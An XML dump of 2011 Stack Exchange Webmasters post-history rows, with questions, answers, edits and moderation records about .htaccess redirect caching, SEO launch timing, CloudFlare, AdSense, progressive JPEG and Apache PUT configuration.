  <row Id="46092" PostHistoryTypeId="2" PostId="18866" RevisionGUID="b49df35f-891a-4e5b-a2c7-3b181374073f" CreationDate="2011-08-28T06:26:14.757" UserDisplayName="wongm" Text="I am using XAMPP on Windows 7, and was experiencing the same issue. From my experimentation it appears that the caching of redirects is being carried out by the web browser, not Apache.&#xD;&#xA;&#xD;&#xA;To demonstrate:&#xD;&#xA;&#xD;&#xA; - Add the following rule to your .htaccess file:&#xD;&#xA;    `RewriteRule ^fail/?$           fail.php [L,R=301]`&#xD;&#xA; - Visit `/fail` in your web browser. You should be redirected to `fail.php`&#xD;&#xA; - Change the reference in your .htaccess file from `fail.php` to `fail2.php`&#xD;&#xA; - Visit `/fail` in your web browser again. &#xD;&#xA; - You should be redirected to `fail2.php`, but you end up at `fail.php`&#xD;&#xA; - Now visit `/fail` in a different web browser on the same machine, you should end up correctly at `fail2.php`.&#xD;&#xA;&#xD;&#xA;The browser that was giving me issues was Firefox 6.0.&#xD;&#xA;&#xD;&#xA;It appears that newer web browser will cache HTTP 301 redirects locally - they *are* defined as a permanent redirect, so should never change. However it's a pain when you are a developer and still working on a site and changing things." />
  <row Id="46093" PostHistoryTypeId="2" PostId="18865" RevisionGUID="ece38ec7-5182-4936-81a3-eab27060d83e" CreationDate="2011-06-03T10:39:37.717" UserDisplayName="Antonio Sesto" Text="I am reorganizing the link structure of a dynamic php-based site of mine. What I am trying to obtain is:&#xD;&#xA;&#xD;&#xA; - redirect old links onto new ones;&#xD;&#xA; - create new RewriteRules for new links, since every 'link' to an html page is mapped onto a php page with parameters.&#xD;&#xA;&#xD;&#xA;The only *.htaccess* file is contained in the website root folder. There are no other .htaccess files in subfolders.&#xD;&#xA;&#xD;&#xA;Till today I had no problems in reorganizing links by modifying the rules in *.htaccess*. Since yesterday I have been experiencing a strange problem: *it looks like modifications to the .htaccess file are not immediately read by the Apache web-server*, that keeps applying the old rules even if they are no longer contained in the *.htaccess* file. For example, I have a rule that performs the following mapping:&#xD;&#xA;&#xD;&#xA;    /cat-a/subcat-b/page.html -&gt; /file.php?cat=cat-a&amp;subcat=subcat-b&#xD;&#xA;&#xD;&#xA;If I modify that rule as follows:&#xD;&#xA;&#xD;&#xA;    /cat-a/subcat-b/page.html -&gt; /file.php?XXcatXX=cat-a&amp;subcat=subcat-b&#xD;&#xA;&#xD;&#xA;Apache keeps rewriting URLs according to the old (cat=cat...) format for a while. The new format (XXcatXX=...) is used only after a *random* lapse of time. Random meaning that I could not find any pattern in the way it behaves.&#xD;&#xA;&#xD;&#xA;Furthermore, if I delete a rule, Apache keeps using the deleted rule for a while.&#xD;&#xA;&#xD;&#xA;The only regularity I have found concerns new rewrite rules: Apache reads them immediately and starts using them. If I delete a rule or modify an existing one, Apache ignores the changes for a while.&#xD;&#xA;&#xD;&#xA;I am noticing this problem only on RewriteRule instructions and not on redirections. Since redirections and rewritings are managed by different modules, I assume that I have to modify some settings in the mod_rewrite configuration. &#xD;&#xA;&#xD;&#xA;I made some searches but was not able to find any information/documentation on this behaviour. May be there is something that I ignore and I am missing.&#xD;&#xA;&#xD;&#xA;**Are there some settings I have to worry about? Have you ever experienced a similar problem?**&#xD;&#xA;&#xD;&#xA;I am using XAMPP on a Mac OS SnowLeopard machine.&#xD;&#xA;&#xD;&#xA;Thanks. Regards.&#xD;&#xA;A." />
  <row Id="46094" PostHistoryTypeId="1" PostId="18865" RevisionGUID="ece38ec7-5182-4936-81a3-eab27060d83e" CreationDate="2011-06-03T10:39:37.717" UserDisplayName="Antonio Sesto" Text="&quot;Rule caching&quot; in .htaccess - How to force apache to re-read a modified .htaccess?" />
  <row Id="46095" PostHistoryTypeId="3" PostId="18865" RevisionGUID="ece38ec7-5182-4936-81a3-eab27060d83e" CreationDate="2011-06-03T10:39:37.717" UserDisplayName="Antonio Sesto" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;url-rewriting&gt;" />
  <row Id="46098" PostHistoryTypeId="10" PostId="18177" RevisionGUID="111fba04-c823-4c78-bbcb-b23893397a08" CreationDate="2011-08-28T16:14:09.363" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46099" PostHistoryTypeId="5" PostId="18860" RevisionGUID="c6fc826e-222b-4bc0-a33b-9c2b92a45d4a" CreationDate="2011-08-28T16:16:51.577" UserId="1253" Comment="deleted 22 characters in body" Text="Im using Google Talk on my site to chat online with users , is there any method to customize it such as showing a message form when we are unavailable or adding more that one user on it or any other facility?" />
  <row Id="46100" PostHistoryTypeId="10" PostId="18856" RevisionGUID="6a927e67-faf7-4a2f-b504-da9510f5ad99" CreationDate="2011-08-28T17:23:10.940" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46101" PostHistoryTypeId="5" PostId="17533" RevisionGUID="34b73d74-d7e1-4817-985b-e0873d1fc8e7" CreationDate="2011-08-28T17:28:02.623" UserId="1253" Comment="deleted 8 characters in body" Text="How to build web 2.0 interface&#xD;&#xA;[http://www.webdesignfromscratch.com/web-des...][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How to learn basic HTML/CSS/Javascript/PHP/Etc....&#xD;&#xA;[http://w3schools.com/][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webdesignfromscratch.com/web-design/web-2.0-design-style-guide.php&#xD;&#xA;  [2]: http://w3schools.com/" />
  <row Id="46102" PostHistoryTypeId="5" PostId="18857" RevisionGUID="36ae275a-4045-4dd1-a1e1-7e1a908107bf" CreationDate="2011-08-28T17:29:35.553" UserId="1253" Comment="deleted 33 characters in body; edited tags" Text="I would like to know is there any compare goods system written in PHP? for example an interface that get specification of product (a WYSIWIG editor maybe with description and keyword,...) and a voting system that allows user vote on. Script should have sorting and is category based...&#xD;&#xA;" />
  <row Id="46103" PostHistoryTypeId="6" PostId="18857" RevisionGUID="36ae275a-4045-4dd1-a1e1-7e1a908107bf" CreationDate="2011-08-28T17:29:35.553" UserId="1253" Comment="deleted 33 characters in body; edited tags" Text="&lt;php&gt;&lt;looking-for-a-script&gt;" />
  <row Id="46104" PostHistoryTypeId="14" PostId="18639" RevisionGUID="deb15d03-c454-4cad-bf97-b0199a4b76d0" CreationDate="2011-08-28T17:30:13.057" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="46105" PostHistoryTypeId="17" PostId="18639" RevisionGUID="c3d34d1c-ec24-4588-a117-18275a1e0594" CreationDate="2011-08-28T17:30:13.073" UserId="1253" Comment="to http://stackoverflow.com/questions/7222606/website-default-document-denied-by-security-restrictions" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46106" PostHistoryTypeId="10" PostId="18639" RevisionGUID="be95d63e-d77b-4ee3-a9c3-e2153346a7be" CreationDate="2011-08-28T17:30:11.670" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46107" PostHistoryTypeId="17" PostId="18867" RevisionGUID="d8954c14-dc43-446b-881f-4ee9d7158cac" CreationDate="2011-08-28T17:57:31.817" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18470/google-analytics-is-it-possible-to-see-destination-of-people-who-click-the-like" Text="" />
  <row Id="46108" PostHistoryTypeId="2" PostId="18867" RevisionGUID="b0ca9684-9a9b-4824-8b03-e876a9b11b80" CreationDate="2011-08-28T15:22:41.997" UserId="9902" UserDisplayName="John" Text="Is it possible to see what destination people who clicked the Like button on my website came from??&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(It would also be useful to know who they are, but looking through previous posts here, as far as I gather, it seems it's not possible to see who Liked a webpage; though installing the Fb Like button option that has faces of people who Liked the page, might come some way to doing this...)" />
  <row Id="46109" PostHistoryTypeId="1" PostId="18867" RevisionGUID="b0ca9684-9a9b-4824-8b03-e876a9b11b80" CreationDate="2011-08-28T15:22:41.997" UserId="9902" UserDisplayName="John" Text="Google Analytics: is it possible to see destination of people who click the Like button on a website?" />
  <row Id="46110" PostHistoryTypeId="3" PostId="18867" RevisionGUID="b0ca9684-9a9b-4824-8b03-e876a9b11b80" CreationDate="2011-08-28T15:22:41.997" UserId="9902" UserDisplayName="John" Text="&lt;google-analytics&gt;&lt;like&gt;" />
  <row Id="46111" PostHistoryTypeId="2" PostId="18868" RevisionGUID="9a95349c-f939-4a6c-86b3-291ad2397e37" CreationDate="2011-08-28T18:16:58.977" UserId="9899" Text="I am currently developing a website that will be officially marketed for and &quot;launched&quot; months from now.&#xD;&#xA;&#xD;&#xA;This site has minimal content at the moment but will soon start having more and more content as i complete the development of various components.&#xD;&#xA;&#xD;&#xA;My question is this:&#xD;&#xA;&#xD;&#xA;In terms of search engine optimization is it best to release a site with TONS of pages, or release a site and demonstrate constant updates/content additions?... And why? :)&#xD;&#xA;&#xD;&#xA;In the first scenario i would wait until launch/market day and then turn the site on w/o thousands of pages... In the second scenario, i would just develop/release new features content as they come and on the &quot;official&quot; launch day start marketing the site.&#xD;&#xA;&#xD;&#xA;Thanks a ton." />
  <row Id="46112" PostHistoryTypeId="1" PostId="18868" RevisionGUID="9a95349c-f939-4a6c-86b3-291ad2397e37" CreationDate="2011-08-28T18:16:58.977" UserId="9899" Text="Best Way to &quot;Launch&quot; A Site That's Being Developed" />
  <row Id="46113" PostHistoryTypeId="3" PostId="18868" RevisionGUID="9a95349c-f939-4a6c-86b3-291ad2397e37" CreationDate="2011-08-28T18:16:58.977" UserId="9899" Text="&lt;seo&gt;&lt;web-development&gt;&lt;search-engines&gt;&lt;marketing&gt;&lt;content&gt;" />
  <row Id="46114" PostHistoryTypeId="25" PostId="18670" RevisionGUID="fc845d14-2846-42ff-9b7f-9fba40c0b519" CreationDate="2011-08-28T18:35:26.827" Comment="http://twitter.com/#!/StackWebmasters/status/107884009463361536" />
  <row Id="46115" PostHistoryTypeId="2" PostId="18869" RevisionGUID="97d38ee0-abcf-4db6-a3f6-7f37101d48c2" CreationDate="2011-08-28T19:41:37.810" UserId="8009" Text="In my opinion, you should launch a website as soon as is viably possible - i.e. it features some useful features and content, with a complete design and semantic coding. The sooner you launch a site, the sooner you can start building a charisma or 'pre-launch' tension for those that may be interested in the fully launched site. This will help spread the word. The sooner you can establish yourself, the better. &#xD;&#xA;&#xD;&#xA;Whether or not a site is frequently updated or not should technically have little impact on SEO - after all, just because content may not be 'current' doesn't mean it isn't useful for the searcher. Unless of course it is a news site and you're aiming for news search.&#xD;&#xA;&#xD;&#xA;So, my advice; complete the site to the minimal state you're happy for it to be seen at, launch, then continue to develop and market at the same time." />
  <row Id="46116" PostHistoryTypeId="2" PostId="18870" RevisionGUID="ba776ac2-d73b-491e-bd38-99a33e202778" CreationDate="2011-08-28T20:51:20.590" UserId="9845" Text="&gt; In terms of search engine optimization is it best to release a site&#xD;&#xA;&gt; with TONS of pages, or release a site and demonstrate constant&#xD;&#xA;&gt; updates/content additions?... And why? :)&#xD;&#xA;&#xD;&#xA;Second scenario will be a better approach in my point of view. Because unless you do some paid marketing and extensive social media bookmarking it will be quite hard to make a user base from the very first time. Thats why start with few and increase the content gradually you will have repeated visitors as well as new visitors over time. Google robot will also crawl your site according to your post frequency. You can easily ask google to crawl the site on webmaster tools (how often!)&#xD;&#xA;&#xD;&#xA;Also you will have time to make changes. If you post all of them at a time you will not know how visitors going to react. It's better to start with few analyze your visitors behaviour and then post according to their choice.&#xD;&#xA;&#xD;&#xA;But before you launch you can make a coming soon page and start promoting that one. On that coming soon page you can do an sticky post of your up coming content or feature coming. And place social connects so that your visitors can be notified when available. It will create a buzz before you launch the site." />
  <row Id="46117" PostHistoryTypeId="2" PostId="18871" RevisionGUID="347d685d-47de-4d10-8fd5-7708306eef4e" CreationDate="2011-08-28T21:19:07.593" UserId="9900" Text="CloudFlare, in most cases, does not cache HTML. This is because we don't want to show stale dynamic content. That said, the system can help the performance of even dynamic content in four primary ways:&#xD;&#xA;&#xD;&#xA; 1. CloudFlare can route traffic over preferred network routes that are often more efficient than what a request would normally take.&#xD;&#xA; 2. For sites that get a lot of traffic, CloudFlare can keep a connection open between the origin server and the CloudFlare proxy which ensures a more stable and performant route.&#xD;&#xA; 3. CloudFlare's servers are optimized for a very high level of lossless compression so even for dynamic pages the content can be compressed (and therefore delivered more quickly) than the typical GZIP settings most people implement on their web servers.&#xD;&#xA; 4. CloudFlare can modify even dynamic content on the fly to optimize it for the particular device accessing the page depending on the options you select. Features such as Auto Minify will reduce the size of dynamic HTML on the fly to eliminate comments and whitespace, where Rocket Loader will more aggressively rewrite the way resources on a page are delivered to ensure the maximum performance for the particular device accessing the site.&#xD;&#xA;&#xD;&#xA;While dynamic content is typically only a small fraction of the overall bytes needed to render a page, CloudFlare does a number of things to ensure that even it is delivered as fast as possible.&#xD;&#xA;&#xD;&#xA;Thanks for the question!&#xD;&#xA;&#xD;&#xA;Matthew Prince (@eastdakota)&#xD;&#xA;&#xD;&#xA;CEO, CloudFlare, Inc." />
  <row Id="46118" PostHistoryTypeId="5" PostId="18868" RevisionGUID="bf99bd52-2b74-43ac-8286-551d8d86375c" CreationDate="2011-08-28T21:32:24.503" UserId="1253" Comment="deleted 18 characters in body; edited tags" Text="I am currently developing a website that will be officially marketed for and &quot;launched&quot; months from now.&#xD;&#xA;&#xD;&#xA;This site has minimal content at the moment but will soon start having more and more content as i complete the development of various components.&#xD;&#xA;&#xD;&#xA;My question is this:&#xD;&#xA;&#xD;&#xA;In terms of search engine optimization is it best to release a site with TONS of pages, or release a site and demonstrate constant updates/content additions?... And why? :)&#xD;&#xA;&#xD;&#xA;In the first scenario i would wait until launch/market day and then turn the site on w/o thousands of pages... In the second scenario, i would just develop/release new features content as they come and on the &quot;official&quot; launch day start marketing the site" />
  <row Id="46119" PostHistoryTypeId="6" PostId="18868" RevisionGUID="bf99bd52-2b74-43ac-8286-551d8d86375c" CreationDate="2011-08-28T21:32:24.503" UserId="1253" Comment="deleted 18 characters in body; edited tags" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;marketing&gt;" />
  <row Id="46120" PostHistoryTypeId="25" PostId="18868" RevisionGUID="a48cb427-434b-418f-a528-31632cd32671" CreationDate="2011-08-28T21:35:27.210" Comment="http://twitter.com/#!/StackWebmasters/status/107929309003526145" />
  <row Id="46121" PostHistoryTypeId="2" PostId="18872" RevisionGUID="917b7a9d-df40-481d-ab21-a0dd55ac9554" CreationDate="2011-08-28T21:38:41.697" UserId="1253" Text="If you're basing when to launch a site based on SEO you are putting the cart ahead of the horse. Ranking well with search engines is the direct result of how users react and respond to your site. If it's incomplete or users aren't impressed by it they don't tell others about it or, just as importantly, link to it from their website.&#xD;&#xA;&#xD;&#xA;Launch your website when you have enough quality content to do whatever it is supposed to do well. You only get one launch and one chance to make a big splash. If you waste that because you're more concerned about search engines then the quality of your website or your users you will almost certainly fail or at the very least hinder your growth. You should have a list with the content and features your site should launch with and then have a listof aditional content and features that improve and enhance your site so users keep coming back for more (and tell their friends and link to you)." />
  <row Id="46123" PostHistoryTypeId="5" PostId="13830" RevisionGUID="f0f02525-42d1-45b9-8e47-e00eda49db1f" CreationDate="2011-08-28T23:13:09.003" UserId="1253" Comment="deleted 34 characters in body" Text="I've recently setup an OpenID with MyOpenID, and am currently trying to setup a custom domain at my own URL using MyOpenID's [MyOpenID For Domains][1] feature.&#xD;&#xA;&#xD;&#xA;It was all going so well: I've added the additional DNS settings to my hosting, I've verified the domain on MyOpenID (using the file-verfication method), and so on.&#xD;&#xA;&#xD;&#xA;The issue I'm having is with adding accounts to my domain on MyOpenID. I can add the accounts but the problem is I never receive the verification e-mails, so the accounts never get activated. I've tried adding two separate accounts using two different e-mail addresses (which are both definitely correct), but I just never receive the e-mail.&#xD;&#xA;&#xD;&#xA;I've been clicking the &quot;Re-send e-mail&quot; button on the &quot;Manage Domains&quot; page every day for the past week now, but still no luck.&#xD;&#xA;&#xD;&#xA;Has anyone ever had this working?&#xD;&#xA;&#xD;&#xA;Is it possible that this is something else that was screwed over by the Amazon outage?&#xD;&#xA;&#xD;&#xA;And does anyone know how to get any official support from MyOpenID/JanRain/whoever about this?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.myopenid.com/product_domains" />
  <row Id="46124" PostHistoryTypeId="2" PostId="18874" RevisionGUID="752c67f9-aeac-49ab-a945-489e484d88f5" CreationDate="2011-08-28T23:35:09.563" UserId="9902" Text="One of my sites has a very high bounce rate from Google Adwords, especially over the last couple of days.&#xD;&#xA;&#xD;&#xA;Of course, it could just be that people are not finding the site relevant.&#xD;&#xA;&#xD;&#xA;But I'm wondering if it could be spambots or something like this.&#xD;&#xA;&#xD;&#xA;Can spambots click Google Adwords ads?&#xD;&#xA;&#xD;&#xA;Or do human spammers tend to click Adwords ads to find places to spam?" />
  <row Id="46125" PostHistoryTypeId="1" PostId="18874" RevisionGUID="752c67f9-aeac-49ab-a945-489e484d88f5" CreationDate="2011-08-28T23:35:09.563" UserId="9902" Text="Spammers or Spam bots clicking Adwords ads?" />
  <row Id="46126" PostHistoryTypeId="3" PostId="18874" RevisionGUID="752c67f9-aeac-49ab-a945-489e484d88f5" CreationDate="2011-08-28T23:35:09.563" UserId="9902" Text="&lt;spam&gt;&lt;adwords&gt;" />
  <row Id="46127" PostHistoryTypeId="5" PostId="18867" RevisionGUID="9c0052df-aab5-4275-84c9-ceb274d56bfa" CreationDate="2011-08-28T23:43:23.550" UserId="9902" Comment="deleted 5 characters in body; edited title" Text="Is it possible to see what source people who clicked the Like button on my website came from??&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(It would also be useful to know who they are, but looking through previous posts here, as far as I gather, it seems it's not possible to see who Liked a webpage; though installing the Fb Like button option that has faces of people who Liked the page, might come some way to doing this...)" />
  <row Id="46128" PostHistoryTypeId="4" PostId="18867" RevisionGUID="9c0052df-aab5-4275-84c9-ceb274d56bfa" CreationDate="2011-08-28T23:43:23.550" UserId="9902" Comment="deleted 5 characters in body; edited title" Text="Google Analytics: is it possible to see source of people who click the Like button on a website?" />
  <row Id="46129" PostHistoryTypeId="2" PostId="18875" RevisionGUID="9eb2d7f6-fef5-4bde-b9ce-b9168e7c7069" CreationDate="2011-08-29T00:33:37.637" UserId="9516" Text="**Setup**: I run a network of websites that target different hobby niches and have a section dedicated to community classifieds. I serve advertising on these sites through Google DFP for Small Business with AdSense enabled on the slots.&#xD;&#xA;&#xD;&#xA;**Problem**: One of the next sites in my network will be targeting the firearms/shooting industry and as such the classifieds section will not comply with the prohibited content guidelines of AdSense regarding the sale (or coordination of sale) of weapons. I work very hard to comply with the guidelines of my partners even if I don't understand/agree with them and after talking with many people have decided that the best option is to disable AdSense serving on that section of that website, while leaving it on for the rest of the network.&#xD;&#xA;&#xD;&#xA;**Solution**: Right now my only idea for this is to duplicate all my site's ad slots and tack a &quot;_sensitive&quot; onto the end of each one (eg. header and header_sensitive) conditionally registering ad slots based on whether or not I am in the sensitive section of the sensitive site. My hope however is that there may be a way to accomplish this without duplicating all my ad slots possibly with some sort of options to the GA_googleFillSlot() call that allows me to say &quot;load ads from this slot but do not serve AdSense no matter what.&quot;&#xD;&#xA;&#xD;&#xA;Thanks in advance to anyone who may have experience they can share!" />
  <row Id="46130" PostHistoryTypeId="1" PostId="18875" RevisionGUID="9eb2d7f6-fef5-4bde-b9ce-b9168e7c7069" CreationDate="2011-08-29T00:33:37.637" UserId="9516" Text="With Google DFP (Small Business) is it possible to disable AdSense in an Ad Slot on a per-request basis?" />
  <row Id="46131" PostHistoryTypeId="3" PostId="18875" RevisionGUID="9eb2d7f6-fef5-4bde-b9ce-b9168e7c7069" CreationDate="2011-08-29T00:33:37.637" UserId="9516" Text="&lt;google-adsense&gt;&lt;advertising&gt;" />
  <row Id="46132" PostHistoryTypeId="25" PostId="18509" RevisionGUID="d07e1646-cbd2-4977-976a-7074197c4c95" CreationDate="2011-08-29T00:35:27.123" Comment="http://twitter.com/#!/StackWebmasters/status/107974606857576448" />
  <row Id="46134" PostHistoryTypeId="2" PostId="18877" RevisionGUID="107e94be-7cb2-44ad-a930-b36373c40137" CreationDate="2011-08-29T02:19:34.957" UserId="4461" Text="You can measure social engagement in Google Analytics, but whether you can derive their 'source' is a different question (you'd probably have to create a funnel or filter).&#xD;&#xA;&#xD;&#xA;Google has the details of implementing social tracking [here][1], and more information on the social plug-in [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingSocial.html#facebook&#xD;&#xA;  [2]: http://www.google.com/support/analyticshelp/bin/answer.py?answer=1316556&amp;topic=1316551" />
  <row Id="46137" PostHistoryTypeId="2" PostId="18879" RevisionGUID="db003d72-1951-4bfa-8141-2ff81fad6a86" CreationDate="2011-08-29T02:44:02.753" UserId="1064" Text="&gt; Can spambots click Google Adwords ads?&#xD;&#xA;&#xD;&#xA;At least [one][1] person is in jail for trying it (or, more accurately, trying to blackmail Google because he'd figured out how to do it).&#xD;&#xA;&#xD;&#xA;Automated clicks remain a concern and Google claims to be able to prevent this type of spam, though it is an arms race which Google does not have a keen incentive to dominate (Google gets paid whether or not the clicks are legitimate).&#xD;&#xA;&#xD;&#xA;&gt; Or do human spammers tend to click Adwords ads to find places to spam?&#xD;&#xA;&#xD;&#xA;Human spammers tend to run scripts to automate their spamming efforts - with the exception of outsourced comment spammers, it is highly unlikely that a human is directly participating in any commercially-motivated spamming efforts.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.theregister.co.uk/2004/06/25/google_adwords_blackmail/" />
  <row Id="46138" PostHistoryTypeId="25" PostId="18632" RevisionGUID="b59db100-b369-46a4-add1-30eae6f51bee" CreationDate="2011-08-29T03:35:41.120" Comment="http://twitter.com/#!/StackWebmasters/status/108019964342054913" />
  <row Id="46139" PostHistoryTypeId="2" PostId="18880" RevisionGUID="550e4c6a-594d-4a2b-8c2d-3dc4e863555f" CreationDate="2011-08-29T05:05:16.677" UserId="9539" Text="This Post: http://webmasters.stackexchange.com/questions/574/progressive-jpeg-why-do-many-web-sites-avoid-rendering-jpegs-that-way-pros-c stat that many browsers do not support Progressive JPEG citing this [Wikipedia Article][1]. &#xD;&#xA;&#xD;&#xA;What I have not found is which browsers do and do not support it. &#xD;&#xA;&#xD;&#xA;I know FF 7 supports it but I have not tested the other browsers to know. &#xD;&#xA;&#xD;&#xA;Does anyone have a comparison chart or something similar? &#xD;&#xA;&#xD;&#xA;Bonus Question: What e-mail clients support Progressive JPEG? (Desktop E-Mail Clients e.g. Outlook &amp; Thunerbird etc)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/JPEG" />
  <row Id="46140" PostHistoryTypeId="1" PostId="18880" RevisionGUID="550e4c6a-594d-4a2b-8c2d-3dc4e863555f" CreationDate="2011-08-29T05:05:16.677" UserId="9539" Text="Progressive JPEG" />
  <row Id="46141" PostHistoryTypeId="3" PostId="18880" RevisionGUID="550e4c6a-594d-4a2b-8c2d-3dc4e863555f" CreationDate="2011-08-29T05:05:16.677" UserId="9539" Text="&lt;images&gt;&lt;browsers&gt;&lt;browser-support&gt;&lt;jpeg&gt;" />
  <row Id="46142" PostHistoryTypeId="2" PostId="18881" RevisionGUID="080e8a86-1b37-42cc-b80a-6c5685737ba0" CreationDate="2011-08-29T05:14:57.250" UserId="5134" Text="I got a very consequence thing  My host provider told me last night there server is crashed and they restored the old website from sever months go and they told me this is the only backup they have. and the bad thing is my backup hard disc is crashed a couple of days ago. &#xD;&#xA;&#xD;&#xA;Now when i see the website using google catch i see everything. Is it possible to recover my website using google catch or is there any tool which help me to recover? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks,  " />
  <row Id="46143" PostHistoryTypeId="1" PostId="18881" RevisionGUID="080e8a86-1b37-42cc-b80a-6c5685737ba0" CreationDate="2011-08-29T05:14:57.250" UserId="5134" Text="How to recover a website from google catch?" />
  <row Id="46144" PostHistoryTypeId="3" PostId="18881" RevisionGUID="080e8a86-1b37-42cc-b80a-6c5685737ba0" CreationDate="2011-08-29T05:14:57.250" UserId="5134" Text="&lt;google&gt;&lt;tools&gt;" />
  <row Id="46145" PostHistoryTypeId="2" PostId="18882" RevisionGUID="68f802b7-69b9-452a-88e0-28629d02bbab" CreationDate="2011-08-29T06:07:31.330" UserId="7116" Text="I would like to know if it is possible to remotely install a server OS via root. &#xD;&#xA;If it is possible, how can it be done?&#xD;&#xA;&#xD;&#xA;This question might be strange or impossible, so I have listed my assumptions below.&#xD;&#xA;&#xD;&#xA;**Assumptions**&#xD;&#xA;&#xD;&#xA;    -You have purchased a dedicated server with access to root.&#xD;&#xA;    -You don't have physical access to the server.&#xD;&#xA;    -You don't want the hosting company to install the operating system (They would install the OS using a non-English language).&#xD;&#xA;    -The server OS will be a linux distro such as Ubuntu or CentOS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you have an alternate solution (Example- Have the hosting company install the OS then change the language), I'd love to hear it.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="46146" PostHistoryTypeId="1" PostId="18882" RevisionGUID="68f802b7-69b9-452a-88e0-28629d02bbab" CreationDate="2011-08-29T06:07:31.330" UserId="7116" Text="How to remotely install server via root" />
  <row Id="46147" PostHistoryTypeId="3" PostId="18882" RevisionGUID="68f802b7-69b9-452a-88e0-28629d02bbab" CreationDate="2011-08-29T06:07:31.330" UserId="7116" Text="&lt;linux&gt;&lt;webserver&gt;&lt;dedicated-hosting&gt;&lt;administration&gt;" />
  <row Id="46148" PostHistoryTypeId="25" PostId="18536" RevisionGUID="c74fe006-892e-4480-a4db-9054e19041e8" CreationDate="2011-08-29T06:35:43.470" Comment="http://twitter.com/#!/StackWebmasters/status/108065269062184961" />
  <row Id="46149" PostHistoryTypeId="2" PostId="18883" RevisionGUID="84227f8d-c5e3-4f43-a9ab-8e4e90a8116a" CreationDate="2011-08-29T07:15:39.210" UserId="9907" Text="I've written code for file upload and download using HttpWebRequest/HttpWebResponse class in C# with apache Http server2.2 . In code i using 'request.method = &quot;PUT&quot;', so i want to config my httpconfig file supports PUT method . I write PUT method script as&#xD;&#xA;&#xD;&#xA;    &lt;Location &quot;C:/Program Files/Apache Software Foundation/Apache2.2/htdocs/output&quot;&gt;&#xD;&#xA;    &lt;Dav On&#xD;&#xA;    &lt;LimitExcept GET HEAD OPTIONS PUT&gt;&#xD;&#xA;    Allow from all&#xD;&#xA;    &lt;/LimitExcept&gt;&#xD;&#xA;    &lt;/Location&gt;&#xD;&#xA;&#xD;&#xA;Thats not working .. Show error at program output: (405) The method not allowed &#xD;&#xA;" />
  <row Id="46150" PostHistoryTypeId="1" PostId="18883" RevisionGUID="84227f8d-c5e3-4f43-a9ab-8e4e90a8116a" CreationDate="2011-08-29T07:15:39.210" UserId="9907" Text="Configure Apache HTTP 2.2 for PUT method" />
  <row Id="46151" PostHistoryTypeId="3" PostId="18883" RevisionGUID="84227f8d-c5e3-4f43-a9ab-8e4e90a8116a" CreationDate="2011-08-29T07:15:39.210" UserId="9907" Text="&lt;httpd.conf&gt;" />
  <row Id="46152" PostHistoryTypeId="2" PostId="18884" RevisionGUID="25cf8f17-fcb8-44d1-a0af-c9769a95c2e1" CreationDate="2011-08-29T07:58:55.173" UserId="7074" Text="I have a blog regarding Placement papers from December 2010. My monthly impressions are around 4000. From last 2 days, my blog has disappeared from Google search engine pages. impressions have reduced drastically.&#xD;&#xA;&#xD;&#xA;Please check Stat counter reports: http://my.statcounter.com/project/standard/stats.php?project_id=5998739&amp;amp;guest=1&#xD;&#xA;&#xD;&#xA;My blog is still on the search engine because when i search “site: http://placementpapersanswers.blogspot.com” on Google, i can see my all pages indexed over there…&#xD;&#xA;&#xD;&#xA;But my pages which used to appear on the first or second pages of google do not appear any more.&#xD;&#xA;&#xD;&#xA;Example: if i search with query “GE round 2 code writing test” on bing.co or yahoo search, first link on the result page is my blog.&#xD;&#xA;&#xD;&#xA;But if you do same on google, my url do not appear even on the 1st 3 result pages. I used to get lots of visitors by these serch query earlier.&#xD;&#xA;&#xD;&#xA;Any help is appreciated.&#xD;&#xA;&#xD;&#xA;Blog Address: http://placementpapersanswers.blogspot.com/&#xD;&#xA;" />
  <row Id="46153" PostHistoryTypeId="1" PostId="18884" RevisionGUID="25cf8f17-fcb8-44d1-a0af-c9769a95c2e1" CreationDate="2011-08-29T07:58:55.173" UserId="7074" Text="My blog which gets 300+ impression daily has stopped appearning on the 1st page of Google" />
  <row Id="46154" PostHistoryTypeId="3" PostId="18884" RevisionGUID="25cf8f17-fcb8-44d1-a0af-c9769a95c2e1" CreationDate="2011-08-29T07:58:55.173" UserId="7074" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="46155" PostHistoryTypeId="2" PostId="18885" RevisionGUID="0bece276-0b9f-490a-9c1b-6166cfec0359" CreationDate="2011-08-29T08:03:53.810" UserId="4121" Text="try doing a search in google, for example [this one][1], it seems number of people have had tried the same thing, learn from their stories.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=recovering+from+google+cache" />
